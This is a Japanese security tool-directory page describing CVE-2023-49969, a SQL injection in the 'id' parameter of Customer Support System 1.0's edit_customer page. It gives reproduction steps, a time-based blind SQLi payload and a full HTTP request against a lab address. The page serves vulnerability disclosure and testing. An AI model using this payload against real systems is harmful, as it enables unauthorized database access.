Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-49969 — カスタマーサポートシステム 1.0 - "id" URLパラメータを介したedit_customerのSQLインジェクション脆弱性 | Kitploit
ツール/GitHubGitHub/geraldoalcantara/cve-2023-49969
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHubgeraldoalcantara/cve-2023-49969

CVE-2023-49969

カスタマーサポートシステム 1.0 - "id" URLパラメータを介したedit_customerのSQLインジェクション脆弱性

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-49969

Customer Support System 1.0 - edit_customer の "id" URL パラメータを介した SQL インジェクションの脆弱性

説明: Customer Support System バージョン1に SQL インジェクションの脆弱性が存在します。悪意のある攻撃者は、顧客編集時に 'id' URL パラメータを操作することで、MySQL データベース上で SQL コマンドを実行できます。

脆弱性のある製品バージョン: Customer Support System 1.0
CVE 作成者: Geraldo Alcântara
日付: 2023/11/28
確認日: 2023/12/19
CVE: CVE-2023-49969
テスト環境: Windows

再現手順:

  1. アプリケーションにログインします。
  2. customer_list ページに移動し、「Action」ボタンをクリックして「Edit」を選択します。
  3. 'id' パラメータが渡され、悪意のあるペイロードを挿入できるようになります。 ペイロード: (select*from(select(sleep(5)))a)

リクエスト

root@kitploit:~
GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1

発見者/クレジット: Geraldo Alcântara

ツールをダウンロード